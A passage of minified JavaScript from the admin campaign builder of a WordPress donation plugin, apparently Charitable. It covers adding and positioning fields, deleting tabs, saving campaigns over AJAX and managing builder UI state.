section=$field.closest(".charitable-field-section");app.checkFieldTargetState(section);if(options.section){app.checkFieldTargetState(options.section)}$builder.trigger("charitableFieldMove",[options.fieldId,type])},fieldAdd:function(type,options){const $btn=$(`#charitable-add-fields-${type}`);adding=true;if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.disableDragAndDrop==="function"){Charitable.Admin.Builder.DragFields.disableDragAndDrop()}app.disableFormActions();let defaults={campaign_title:s.campaignTitle,position:"bottom",$sortable:"base",placeholder:false,scroll:true,defaults:false,column_id:options.column_id,tab_id:options.tab_id,section_id:options.section_id,area:"fields"};options=$.extend({},defaults,options);let data={action:"charitable_new_field_"+type,id:s.formID,column_id:options.column_id,tab_id:options.tab_id,section_id:options.section_id,field_id:parseInt(elements.$nextFieldId.val())+1,type:type,campaign_title:options.campaign_title,defaults:options.defaults,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(res){if(!res.success){wpchar.debug("Add field AJAX call is unsuccessful:",res);return}wpchar.debug("fieldAdd return");app.refreshTabFieldsSortDrag();let $baseFieldsContainer=options.area==="tabs"?elements.$sortableTabContent.find('li[data-tab-id="'+data.tab_id+'"] .charitable-tab-wrap'):elements.$formPreview.find('.charitable-field-wrap[data-section-id="'+data.section_id+'"]');wpchar.debug($baseFieldsContainer);const $newField=$(res.data.preview),maxAllowed=typeof res.data.max!=="undefined"?parseInt(res.data.max):99,$newOptions=$(res.data.options);let $fieldContainer=options.$sortable;adding=false;$newField.css("display","none");if(options.placeholder){options.placeholder.remove()}if(options.$sortable==="default"||!options.$sortable.length){$fieldContainer=$baseFieldsContainer.find(".charitable-fields-sortable-default")}if(options.$sortable==="base"||!$fieldContainer.length){$fieldContainer=$baseFieldsContainer}let event=CharitableUtils.triggerEvent($builder,"charitableBeforeFieldAddToDOM",[options,$newField,$newOptions,$fieldContainer]);if(event.isDefaultPrevented()){return}if(!event.skipAddFieldToBaseLevel){app.fieldAddToBaseLevel(options,$newField,$newOptions)}if(elements.$preview.find(".charitable-field.charitable-field-donate-amount").length>=maxAllowed){$("#charitable-panel-design button#charitable-add-fields-donate-amount").addClass("charitable-disabled")}$newField.fadeIn();app.checkFieldTargetState($('.charitable-field-section[data-section-id="'+data.section_id+'"]'));$newField.find(".charitable-field-edit").click();if($(".charitable-field-option:not(.charitable-field-option-layout)").length){$builder.find(".charitable-field-submit").show()}app.updateFormHiddenFieldID(res.data.field_id);if(res.data.edit_field_html!==""){$(".charitable-layout-options-tab-general .charitable-layout-options-group-inner").append(res.data.edit_field_html).find('.charitable-panel-field[data-field-id="'+res.data.field_id+'"]').addClass("active");if(res.data.html_field!=""){$('.charitable-panel-field[data-field-id="'+res.data.field_id+'"]').find(".campaign-builder-htmleditor").each(function(){app.initHTMLEditorFields($(this),false)})}if(type==="campaign-description"&&typeof s.campaignDescription!=="undefined"){$newField.find(".charitable-campaign-builder-no-description-preview").html("<div>"+s.campaignDescription+"</div>");if($("#charitable-panel-field-settings-field_campaign-description_html_"+data.field_id).find(".ql-editor").length===0){app.initHTMLEditorFields($("#charitable-panel-field-settings-field_campaign-description_html_"+data.field_id))}$("#charitable-panel-field-settings-field_campaign-description_html_"+data.field_id).find(".ql-editor").html(s.campaignDescription)}}if(res.data.field.type==="organizer"){$('.campaign-builder-campaign-creator-id-mini[data-field-id="'+res.data.field_id+'"] select').select2({templateResult:app.campaignCreatorFormatOptions})}app.checkFieldAllow();app.checkFieldMax();app.updateEndDateRelatedItems();app.updateGoalRelatedItems();app.checkRecommendedFields(type);var fieldContainerSectionType=$fieldContainer.data("section-type"),forceDeleteNoPreview=false;if(typeof fieldContainerSectionType!=="undefined"&&fieldContainerSectionType==="fields"){forceDeleteNoPreview=true}app.checkNoFieldsPreview();if("photo"===type){$('.charitable-panel-field-uploader[data-field-id="'+res.data.field_id+'"] input.charitable-campaign-builder-upload-button').click()}else if("donate-amount"===type){$(".charitable-campaign-suggested-donations-mini").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))})}$builder.trigger("charitableFieldAdd",[res.data.field.id,type])}).fail(function(xhr,textStatus,e){adding=false}).always(function(){$builder.find(".charitable-add-fields .charitable-add-fields-button").prop("disabled",false);if(!adding){if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.enableDragAndDrop==="function"){Charitable.Admin.Builder.DragFields.enableDragAndDrop()}app.enableFormActions()}})},fieldAddToBaseLevel:function(options,$newField,$newOptions){wpchar.debug("options");wpchar.debug(options);let $baseFieldsContainer="";if(options.area==="tabs"){$baseFieldsContainer=elements.$sortableTabContent.find('li[data-tab-id="'+options.tab_id+'"] .charitable-tab-wrap');$baseFieldsContainer.parent().removeClass("empty-tab")}else{$baseFieldsContainer=elements.$formPreview.find('.charitable-field-wrap[data-section-id="'+options.section_id+'"]')}wpchar.debug("baseFieldsContainer");wpchar.debug($baseFieldsContainer);const $baseFields=$baseFieldsContainer.find("> :not(.charitable-field-drag-pending)"),$lastBaseField=$baseFields.last(),totalBaseFields=$baseFields.length;let $fieldInPosition=elements.$fieldOptions;if(options.position==="top"){$baseFieldsContainer.prepend($newField);return}if(options.position==="bottom"&&(!$lastBaseField.length||!$lastBaseField.hasClass("charitable-field-stick"))){wpchar.debug("adding field to the bottom!!!!");$baseFieldsContainer.append($newField);return}if(options.position==="bottom"){options.position=totalBaseFields}if(options.position===totalBaseFields&&$lastBaseField.length&&$lastBaseField.hasClass("charitable-field-stick")){$lastBaseField.before($newField);return}$fieldInPosition=$baseFieldsContainer.children(":not(.charitable-field-drag-pending)").eq(options.position);if($fieldInPosition.length){$fieldInPosition.before($newField);return}$baseFieldsContainer.append($newField)},checkIfTabsAreEmpty:function(){elements.$preview.find(".tab-content ul li.tab_content_item").each(function(){var numfields=$(this).find(".charitable-field").length;if(numfields===0){$(this).addClass("empty-tab")}})},disableFormActions:function(disableExit=false,disableCampaignTitleEdit=true,disablePreviewButton=false){$.each([elements.$embedButton,elements.$statusButton,elements.$saveButton],function(_index,button){button.prop("disabled",true).addClass("charitable-disabled")});if(disableExit){$.each([elements.$exitButton],function(_index,button){button.prop("disabled",true).addClass("charitable-disabled")})}if(disableCampaignTitleEdit){$(".charitable-edit-campaign-title-area").addClass("charitable-disabled");$(".charitable-edit-campaign-title-area input").prop("disabled",true);$(".charitable-edit-campaign-title-area a").addClass("charitable-disabled")}if(disablePreviewButton){elements.$previewButton.prop("disabled",true).addClass("charitable-disabled")}},enableFormActions:function(){$.each([elements.$statusButton,elements.$saveButton,elements.$exitButton],function(_index,button){button.prop("disabled",false).removeClass("charitable-disabled")});$(".charitable-edit-campaign-title-area").removeClass("charitable-disabled");$(".charitable-edit-campaign-title-area input").prop("disabled",false);$(".charitable-edit-campaign-title-area a").removeClass("charitable-disabled");if(s.formStatus==="publish"){elements.$embedButton.prop("disabled",false).removeClass("charitable-disabled")}},fieldChoiceDeleteAlert:function(){$.alert({title:false,content:charitable_builder.error_choice,icon:"fa fa-info-circle",type:"blue",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},fieldChoiceSortable:function(type,selector){selector=typeof selector!=="undefined"?selector:".charitable-field-option-"+type+" .charitable-field-option-row-choices ul";$(selector).sortable({items:"li",axis:"y",delay:100,opacity:.6,handle:".move",stop:function(e,ui){var id=ui.item.parent().data("field-id");app.fieldChoiceUpdate(type,id);$builder.trigger("charitableFieldChoiceMove",ui)},update:function(e,ui){}})},tabDelete:function(groupID){app.confirmTabDeletion(groupID)},confirmTabDeletion:function(groupID){var tabData={id:groupID,message:charitable_builder.delete_tab_confirm};var event=CharitableUtils.triggerEvent($builder,"charitableBeforeTabDeleteAlert",[tabData]);if(event.isDefaultPrevented()){return}$.confirm({title:false,content:charitable_builder.delete_tab_confirm,icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){app.tabDeleteById(groupID)}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})},tabDeleteById:function(groupID){const tab_settings=elements.$fieldOptions.find('[data-group_id="'+groupID+'"]'),tab_preview_nav=$("nav ul li#tab_"+groupID+"_title"),tab_preview_content=elements.$preview.find('.tab-content ul li.tab_content_item[data-tab-id="'+groupID+'"]'),tab_count=elements.$preview.find(".tab-content .tab_content_item").length-1,previous_group_ID=Math.abs(groupID-1),tab_content=elements.$preview.find(".tab-content");tab_settings.remove();tab_preview_nav.remove();tab_preview_content.remove();if(elements.$preview.find('nav.charitable-campaign-preview-nav ul li[data-tab-id="'+previous_group_ID+'"] a').length>0){elements.$preview.find('nav.charitable-campaign-preview-nav ul li[data-tab-id="'+previous_group_ID+'"] a').click()}else if(tab_count===1){elements.$preview.find("nav.charitable-campaign-preview-nav ul li a").first().click()}if(tab_count===0){tab_content.addClass("empty-tabs");tab_content.append('<p class="no-tab-notice">'+charitable_builder.no_tabs+"</p>")}else{tab_content.removeClass("empty-tabs");tab_content.find(".no-tab-notice").remove()}app.checkHideTabNavigation()},bindUIActionsPreview:function(){$("body").on("click","a#charitable-preview-btn",function(e){e.preventDefault();e.stopPropagation();if(parseInt(elements.$campaignID.val())===0){$.alert({title:charitable_builder.no_preview_must_save,content:charitable_builder.no_preview_must_save_msg,icon:"fa fa-info-circle",type:"blue",buttons:{confirm:{text:charitable_builder.close,btnClass:"btn-confirm",keys:["enter"]}}});return}else{var openNewTabURL="";if(typeof this.href!=="undefined"){openNewTabURL=this.href.replace("charitable_campaign_preview=0","charitable_campaign_preview="+s.campaignID)}if(typeof s.formStatus!=="undefined"&&s.formStatus==="publish"){app.formSave(false,true,openNewTabURL)}else if(typeof s.formStatus!=="undefined"&&s.formStatus==="draft"){app.formSave(false,true,openNewTabURL)}}})},bindUIActionsSaveExit:function(){$builder.on("click","#charitable-embed",function(e){e.preventDefault();e.stopPropagation();if($(this).hasClass("charitable-disabled")){return}CharitableCampaignEmbedWizard.openPopup(s.formID)});$builder.on("click","#charitable-status-button",function(e){e.preventDefault();e.stopPropagation();if($(this).hasClass("charitable-disabled")){return}if($(this).hasClass("active")){$(this).parent().find("ul#charitable-status-dropdown").addClass("charitable-hidden");$(this).removeClass("active")}else{$(this).parent().find("ul#charitable-status-dropdown").removeClass("charitable-hidden");$(this).addClass("active")}});$builder.on("click","ul#charitable-status-dropdown a",function(e){e.preventDefault();e.stopPropagation();if($("#charitable-status-button").hasClass("charitable-disabled")){return}var newStatus=$(this).data("status"),newStatusLabel=$(this).data("status-label"),$statusDropdown=$("ul#charitable-status-dropdown");$statusDropdown.addClass("charitable-hidden");$("#charitable-status-button").removeClass("active");$("#charitable-status-button span.text").html(newStatusLabel);$("#charitable-status-button").attr("data-status",newStatus);$statusDropdown.find("a").removeClass("charitable-hidden");$statusDropdown.find("a.switch-"+newStatus).addClass("charitable-hidden");$statusDropdown.find("a."+newStatus).addClass("charitable-hidden");if(newStatus==="draft"){}else if(newStatus==="publish"){}s.formStatus=newStatus;s.formStatusLabel=newStatusLabel});$builder.on("click",function(e){if($(e.target).is("#charitable-status-dropdown")===false){$("ul#charitable-status-dropdown").addClass("charitable-hidden");$("#charitable-status-button").removeClass("active")}});$builder.on("click","#charitable-save",function(e){e.preventDefault();app.formSave(false)});$builder.on("click","#charitable-exit",function(e){e.preventDefault();app.formExit()});$builder.on("charitableSaved",function(e,data){$("#charitable_settings_title").attr("disabled",true);wpchar.removeQueryParam("newform")})},updateFormID:function(){var data={action:"charitable_get_campaign_form_id",id:s.formID,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){var campaignID=response.data.campaign_id,redirect=false;$("form#charitable-builder-form").attr("data-id",campaignID);$('form#charitable-builder-form input[name="id"]').val(campaignID);if(response.data.field_id){elements.$nextFieldId.val(parseInt(response.data.field_id))}wpchar.savedState=wpchar.getFormState("#charitable-builder-form");wpchar.initialSave=false;$builder.trigger("charitableSaved",response.data);app.updateDebugWindow(response.data,response.data.campaign_id);if(true===redirect){window.location.href=charitable_builder.exit_url}}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},updateFormHiddenFields:function(){$('#charitable-panel-design .charitable-panel-content-wrap input[type="hidden"]').remove();$(".charitable-field-wrap .charitable-field, .charitable-tab-wrap .charitable-field").each(function(){var row_type=$(this).closest(".row").data("row-type"),row_id=$(this).closest(".row").data("row-id"),row_css=$(this).closest(".row").data("row-css").length>0?$(this).closest(".row").data("row-css"):"no-css",column_id=$(this).closest(".column.charitable-field-column").data("column-id"),section_type=$(this).closest(".section.charitable-field-section").data("section-type"),section_id=$(this).closest(".section.charitable-field-section").data("section-id"),field_id=$(this).data("field-id"),tab_id="tabs"===section_type?$(this).closest("li.tab_content_item").data("tab-id"):false;if(typeof row_id!=="undefined"){if("tabs"===section_type){elements.$formPreview.append('<input type="hidden" name="layout[row][row-type-'+row_type+"]["+row_id+"]["+row_css+"][column]["+column_id+"][section][section-type-"+section_type+"]["+section_id+"][tabs]["+tab_id+"][fields]["+field_id+']" value="'+$(this).data("field-type")+'" />')}else{elements.$formPreview.append('<input type="hidden" name="layout[row][row-type-'+row_type+"]["+row_id+"]["+row_css+"][column]["+column_id+"][section][section-type-"+section_type+"]["+section_id+"][fields]["+field_id+']" value="'+$(this).data("field-type")+'" />')}}})},updateFormHiddenFieldID:function(newValue=0){if(0===newValue){var field_id=0;elements.$formPreview.find(".charitable-field").each(function(){var value=parseFloat($(this).attr("data-field-id"));field_id=value>field_id?value:field_id});newValue=field_id}elements.$nextFieldId.val(parseInt(newValue))},updatePreviewLink:function(previewLink=""){elements.$previewButton.attr("href",previewLink)},updateSuggestDonationsSettings:function($element,theIndex){if(!$element.is("input")||app.getInputType($element)!=="text"){return}$("table#campaign_donation_amounts tbody").find('input[type="text"].campaign_suggested_donations').eq(theIndex).val($element.val());$(".charitable-campaign-suggested-donations-mini tbody").find('input[type="text"].campaign_suggested_donations').eq(theIndex).val($element.val());elements.$preview.find(".charitable-field-donate-amount li.charitable-preview-donation-amount").eq(theIndex/2-1).find("span").first().html($element.val())},updateAllowCustomDonationSettings:function(isChecked){const $custom_preview_fields=elements.$preview.find(".charitable-preview-donation-options .custom-donation-amount");if(isChecked){$custom_preview_fields.removeClass("charitable-hidden")}else{$custom_preview_fields.addClass("charitable-hidden")}},updateSuggestedDonationAmountDefault:function(selectedValue=0){if(selectedValue>0){$('input[type="radio"].campaign_suggested_donations').prop("checked",false);$('input[type="radio"][value='+selectedValue+"].campaign_suggested_donations").prop("checked",true);elements.$preview.find(".charitable-field.charitable-field-donate-amount li").removeClass("selected");elements.$preview.find(".charitable-preview-donation-amounts li:nth-child("+selectedValue+")").addClass("selected");if(elements.$preview.find('.charitable-field.charitable-field-donate-amount input[type="radio"]').length>0){elements.$preview.find('.charitable-field.charitable-field-donate-amount input[type="radio"]:eq('+(selectedValue-1)+")").prop("checked",true)}}else{$("input:radio].campaign_suggested_donations").prop("checked",false)}},getInputType:function($element){var thistest=$element;return thistest[0].tagName.toString().toLowerCase()==="input"?$(thistest[0]).prop("type").toLowerCase():thistest[0].tagName.toLowerCase()},updateCampaignCreatorInfo:function(){var data={action:"charitable_update_campaign_creator",creator_id:parseInt($("select#charitable-panel-field-settings-campaign_campaign_creator_id").val()),campaign_id:s.formID,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){$("#campaign-creator .charitable-campaign-creator-avatar img").attr("src",response.data.avatar_url);$("#campaign-creator h3.creator-name").html(response.data.creator_name);$("#campaign-creator p.joined-on span").html(response.data.joined_on);$("#campaign-creator a.public-profile-link").attr("href",response.data.public_profile_link);$("#campaign-creator a.edit-profile-link").attr("href",response.data.edit_profile_link)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},formSaveCheck:function(){if($("#charitable_settings_title").val().length===0){$.alert({title:charitable_builder.error_title,content:charitable_builder.error_no_title,icon:"fa fa-info-circle",type:"red",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}});return false}},formSave:function(redirect,preview=false,openNewTabURL="",refreshAfterSave=false){var $saveBtn=elements.$saveButton,$icon=$saveBtn.find("img.topbar_icon"),$spinner=$saveBtn.find("i.charitable-loading-spinner"),$label=$saveBtn.find("span"),currentPostStatus=s.formSavedStatus;if($builder.hasClass("charitable-is-revision")&&!$builder.hasClass("charitable-revision-is-saving")){app.confirmSaveRevision();return}if(app.formSaveCheck()===false){return}if(typeof tinyMCE!=="undefined"){tinyMCE.triggerSave()}var event=CharitableUtils.triggerEvent($builder,"charitableBeforeSave");if(event.isDefaultPrevented()){return}$("#charitable_settings_title").removeAttr("disabled");$saveBtn.prop("disabled",true);if(preview===false){$label.text(charitable_builder.saving);$icon.addClass("charitable-hidden");$spinner.removeClass("charitable-hidden")}app.updateFormHiddenFields();var data={action:"charitable_save_campaign",data:JSON.stringify($("#charitable-builder-form").serializeArray()),id:s.formID,status:s.formStatus,statusLabel:s.formStatusLabel,preview:preview,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){var campaignID=parseInt(response.data.campaign_id);if(refreshAfterSave){if(window.location.href===app.addCampaignIDToURL(campaignID)){window.location.href=app.addCampaignIDToURL(campaignID);return}else{window.location.href=app.addCampaignIDToURL(campaignID);return}}$("form#charitable-builder-form").attr("data-id",campaignID);$('form#charitable-builder-form input[name="id"]').val(campaignID);s.formID=campaignID;if(response.data.field_id){elements.$nextFieldId.val(parseInt(response.data.field_id))}wpchar.savedState=wpchar.getFormState("#charitable-builder-form");wpchar.initialSave=false;$builder.trigger("charitableSaved",response.data);app.updateDebugWindow(response.data,response.data.campaign_id);if(typeof response.data.preview_url!=="undefined"&&response.data.preview_url.length>0){app.updatePreviewLink(response.data.preview_url)}if(preview===false){app.setCampaignSaved()}if(true===redirect){window.location.href=charitable_builder.exit_url}if(history.pushState){var newUrl=app.addCampaignIDToURL(campaignID);window.history.pushState({path:newUrl},"",newUrl)}else{window.location.href=app.addCampaignIDToURL(campaignID)}s.campaignID=campaignID;if(("draft"===currentPostStatus||""===currentPostStatus)&&"publish"===response.data.post_status&&response.data.permalink){CharitableCampaignCongratsWizard.openPopup(s.formID,response.data.permalink)}if("publish"===response.data.post_status){elements.$viewCampaignButton.removeClass("charitable-disabled");elements.$viewCampaignButton.attr("href",response.data.permalink);$("a.charitable-admin-campaign-link").attr("href",response.data.permalink);$("a.charitable-admin-campaign-link.show-url").html(response.data.permalink)}else{elements.$viewCampaignButton.addClass("charitable-disabled")}if("publish"===response.data.post_status){elements.$embedButton.prop("disabled",false).removeClass("charitable-disabled")}else{elements.$embedButton.prop("disabled",true).addClass("charitable-disabled")}s.formSavedStatus=response.data.post_status;s.formSavedStatusLabel=response.data.post_status_label;if(openNewTabURL!==""){window.open(openNewTabURL)}var campaignEmedCode="[campaign id=""+campaignID+""]";$("#charitable-admin-campaign-embed-wizard-shortcode-wrap #charitable-admin-campaign-embed-wizard-shortcode").remove();$("#charitable-admin-campaign-embed-wizard-shortcode-wrap").prepend('<input type="text" id="charitable-admin-campaign-embed-wizard-shortcode" class="charitable-admin-popup-shortcode" value="'+campaignEmedCode+'" />');$("#charitable-admin-campaign-embed-wizard-shortcode").prop("disabled",true);app.setCampaignTitleSet();return app.addCampaignIDToURL(campaignID)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){$label.text(charitable_builder.saved);setTimeout(function(){$label.text(charitable_builder.save)},2500);$saveBtn.prop("disabled",false);$spinner.addClass("charitable-hidden");$icon.removeClass("charitable-hidden")})},formSaveError:function(error){if(wpchar.empty(error)){error=charitable_builder.error_save_form}$.confirm({title:charitable_builder.heads_up,content:"<p>"+error+"</p><p>"+charitable_builder.error_contact_support+"</p>",icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},formGenericError:function(error){if(wpchar.empty(error)){error=charitable_builder.something_went_wrong}$.confirm({title:charitable_builder.heads_up,content:"<p>"+error+"</p><p>"+charitable_builder.error_contact_support+"</p>",icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},formGenericNotice:function(error){if(wpchar.empty(error)){error=charitable_builder.something_went_wrong}$.confirm({title:charitable_builder.heads_up,content:"<p>"+error+"</p>",icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},addCampaignIDToURL:function(campaignID){const currentURL=window.location.href,urlHasQueryString=currentURL.includes("?");let updatedURL=false;if(urlHasQueryString){const queryString=window.location.search,campaignIDExists=queryString.includes("campaign_id");if(campaignIDExists){updatedURL=currentURL.split("#")[0];return updatedURL}else{updatedURL=currentURL.split("#")[0];return updatedURL+"&campaign_id="+campaignID}}else{return currentURL+"?campaign_id="+campaignID}},fieldTabToggle:function(id){const event=CharitableUtils.triggerEvent($builder,"charitableFieldTabToggle",[id]);if(event.isDefaultPrevented()){return false}$(".charitable-tab a").removeClass("active");$(".charitable-field, .charitable-preview-top-bar").removeClass("active");if(id==="add-layout"){$("#add-layout a").addClass("active");$(".charitable-field-options").hide();$(".charitable-add-fields").show()}else if(id==="layout-options"){$("#layout-options a").addClass("active");$(".charitable-add-fields").hide();$(".charitable-field-options").show()}else{$("#charitable-field-"+id).addClass("active");$(".charitable-field-option").hide();$("#charitable-field-option-"+id).show();$(".charitable-add-fields").hide();$(".charitable-field-options").show();$builder.trigger("charitableFieldOptionTabToggle",[id])}wpCookies.set("charitable_panel_content_section",id,2592e3);wpCookies.set("charitable_panel_active_field_id","",2592e3);wpCookies.set("charitable_panel_design_layout_options_group","",2592e3);wpCookies.set("charitable_panel_tab_section_tab_id","",2592e3)},formExit:function(){if(app.formIsSaved()){window.location.href=charitable_builder.exit_url}else{$.confirm({title:false,content:"<p>"+charitable_builder.exit_confirm+"</p>",icon:"fa fa-exclamation-circle",type:"orange",closeIcon:true,buttons:{confirm:{text:charitable_builder.save_exit,btnClass:"btn-confirm",keys:["enter"],action:function(){app.formSave(true)}},cancel:{text:charitable_builder.exit,keys:["esc"],action:function(){closeConfirmation=false;window.location.href=charitable_builder.exit_url}}}})}},checkFieldMax:function(type="",max=99){if(type.length===0){var fieldCount=elements.$preview.find(".charitable-field-"+type).length;if(fieldCount<max){elements.$panelDesign.find("button#charitable-add-fields-"+type).removeClass("charitable-disabled")}}else{elements.$preview.find(".charitable-field[data-field-max!='']").each(function(){var max=parseInt($(this).data("field-max")),fieldType=$(this).data("field-type"),fieldCount=typeof fieldType==="undefined"||fieldType.length===0?0:elements.$preview.find(".charitable-field-"+fieldType).length;if(!isNaN(max)&&max>0&&fieldCount>=max){elements.$panelDesign.find("button#charitable-add-fields-"+fieldType).addClass("charitable-disabled")}})}},checkFieldAllow:function(){wpchar.debug("checkFieldAllow");$.each(s.denyList,function(fieldPresent,fieldsNotAllowed){$.each(fieldsNotAllowed,function(fieldsNotAllowedName,fieldsNotAllowedAmount){app.enableAddFieldButton(fieldsNotAllowedName)})});$.each(s.denyList,function(fieldPresent,fieldsNotAllowed){wpchar.debug("fieldPresent: "+fieldPresent);if(app.checkFieldIsPresent(fieldPresent)){$.each(fieldsNotAllowed,function(fieldsNotAllowedName,fieldsNotAllowedAmount){if(fieldsNotAllowedAmount===0||app.getFieldAmount(fieldsNotAllowedName)>parseInt(fieldsNotAllowedAmount)){wpchar.debug(fieldsNotAllowedName+" is not allowed");app.disableAddFieldButton(fieldsNotAllowedName)}})}})},checkAllRecommendedFields:function(){$.each($(".charitable-add-fields-group-recommended button"),function(){var type=$(this).data("field-type");app.checkRecommendedFields(type)})},checkRecommendedFields:function(type=false){if(!type||type.length===0){return}var numberOfFieldsByType=elements.$preview.find(".charitable-field[data-field-type='"+type+"']").length,checkForRecommended=$builder.find("#charitable-add-fields-"+type).parent().find(".charitable-check");if(typeof checkForRecommended==="undefined"||checkForRecommended.length===0){return}if(numberOfFieldsByType===0){checkForRecommended.removeClass("checked").addClass("unchecked")}else{checkForRecommended.removeClass("unchecked").addClass("checked")}},disableAddFieldButton:function(fieldType){elements.$panelDesign.find("button#charitable-add-fields-"+fieldType).addClass("charitable-disabled")},enableAddFieldButton:function(fieldType=""){elements.$panelDesign.find("button#charitable-add-fields-"+fieldType).removeClass("charitable-disabled")},getFieldAmount:function(fieldType=""){if(fieldType.length===0){return}return elements.$preview.find(".charitable-field-"+fieldType).length},checkFieldIsPresent:function(fieldType=""){if(fieldType.length===0){return false}if(app.getFieldAmount(fieldType)>0){return true}return false},setCloseConfirmation:function(confirm){closeConfirmation=!!confirm},formIsSaved:function(){if($("#charitable-builder-form input#charitable-form-saved").val().length===0&&typeof s.formSaved!=="undefined"&&s.formSaved.length===0){return true}else{return false}},setCampaignTitleNotSet:function(){$(".charitable-edit-campaign-title-label").text("Name Your Campaign:")},setCampaignTitleSet:function(){$(".charitable-edit-campaign-title-label").text("Now Editing:")},setCampaignNotSaved:function(enablePreviewButton=false){var the_time=Date.now();$("#charitable-builder-form input#charitable-form-saved").val(the_time);s.formSaved=the_time;elements.$previewButton.removeClass("charitable-disabled")},setCampaignSaved:function(){$("#charitable-builder-form input#charitable-form-saved").val("");s.formSaved="";if(typeof s.formStatus!=="undefined"&&s.formStatus==="publish"){elements.$previewButton.addClass("charitable-disabled")}else{elements.$previewButton.removeClass("charitable-disabled")}},bindUIMoneyTextFields:function(){$builder.on("keydown","input#charitable-panel-field-settings-campaign_minimum_donation_amount, input#charitable-panel-field-settings-campaign_goal",function(e){var k=e.keyCode||e.which,ok=k==190||k==188||k==32||k==9||k==8||e.ctrlKey&&k==65||e.ctrlKey&&k==67||e.ctrlKey&&k==88||e.ctrlKey&&k==86||e.metaKey&&k==65||e.metaKey&&k==67||e.metaKey&&k==88||e.metaKey&&k==86||k>=96&&k<=105||(k==110||k==190)||k>=37&&k<=40||k==46||k>=48&&k<=57;if(!ok){e.preventDefault()}});$builder.on("focusout","input#charitable-panel-field-settings-campaign_minimum_donation_amount, input#charitable-panel-field-settings-campaign_maximum_donation_amount, input#charitable-panel-field-settings-campaign_goal",function(e){var $this=$(this),val=$this.val(),decimal_separator=charitable_builder.currency_decimal_separator,thousands_separator=charitable_builder.currency_thousands_separator;if(typeof decimal_separator==="undefined"||decimal_separator.length===0){return}if(typeof thousands_separator==="undefined"||thousands_separator.length===0){return}if(val.length>0&&val.indexOf(decimal_separator)===-1){$this.val(val+decimal_separator+"00")}})},bindUISettingsRevealGroups:function(){$.each(elements.$settingsPanel.find(".charitable-panel-fields-group.unfoldable"),function(){var $this=$(this),dataGroup=$this.attr("data-group"),dataGroupCookie=wpCookies.get("charitable_fold_"+dataGroup);if(dataGroupCookie==="true"&&!$this.hasClass("opened")){$this.addClass("opened");$this.find(".charitable-panel-fields-group-inner").show()}});elements.$settingsPanel.on("click",".charitable-track-cookie",function(e){var $this=$(this),dataGroup=$this.closest(".unfoldable").attr("data-group");if(!$this.closest(".unfoldable").hasClass("opened")){wpCookies.set("charitable_fold_"+dataGroup,true,2592e3)}else{wpCookies.remove("charitable_fold_"+dataGroup)}})},checkFieldConditionals:function(){$.each(charitable_campaign_builder_field_conditionals,function(mainUIKey,mainUIValue){var theUIElement=elements.$settingsPanel.find(mainUIKey),changeArray=mainUIValue;if(theUIElement.is('input[type="checkbox"]')){elements.$settingsPanel.on("click",mainUIKey,function(e){var thisUIElement=$(this),isChecked=$(this).is(":checked"),checkedFields=changeArray["checked"],uncheckedFields=changeArray["unchecked"];if(isChecked){$.each(checkedFields,function(checkedFieldKey,checkedFieldValue){elements.$settingsPanel.find(checkedFieldValue+"").removeClass("charitable-hidden")})}else{$.each(uncheckedFields,function(checkedFieldKey,checkedFieldValue){$.each(checkedFieldValue,function(hidingfieldKey,hidingfieldValue){elements.$settingsPanel.find(hidingfieldValue+"").addClass("charitable-hidden")})})}})}if(theUIElement.is('input[type="radio"]')){elements.$settingsPanel.on("click",theUIElement.closest(".charitable-panel-field-radio-options").find('input[type="radio"]'),function(e){var thisUIElement=$(theUIElement),isChecked=thisUIElement.is(":checked"),checkedFields=changeArray["checked"],uncheckedFields=changeArray["unchecked"],abort=false;if(isChecked){$.each(checkedFields,function(checkedFieldKey,checkedFieldValue){if(checkedFieldKey==="if"){$.each(checkedFieldValue,function(checkedIfFieldKey,checkedIfFieldValue){if(checkedIfFieldValue==="checked"&&false===elements.$settingsPanel.find(checkedIfFieldKey+"").is(":checked")){abort=true}})}if(checkedFieldKey==="show"&&abort===false){elements.$settingsPanel.find(checkedFieldValue+"").removeClass("charitable-hidden")}else if(checkedFieldKey==="show"&&abort===true){elements.$settingsPanel.find(checkedFieldValue+"").addClass("charitable-hidden")}})}else{$.each(uncheckedFields,function(checkedFieldKey,checkedFieldValue){elements.$settingsPanel.find(checkedFieldValue+"").addClass("charitable-hidden")})}})}})},isBuilderInPopup:function(){return window.self!==window.parent&&window.self.frameElement.id==="charitable-builder-iframe"},bindUIActionsGeneral:function(){$builder.on("click",".charitable-panel-fields-group.unfoldable .charitable-panel-fields-group-title",app.toggleUnfoldableGroup);$builder.on("click",".go-to-settings-button",function(e){e.preventDefault();app.panelSwitch("settings");var 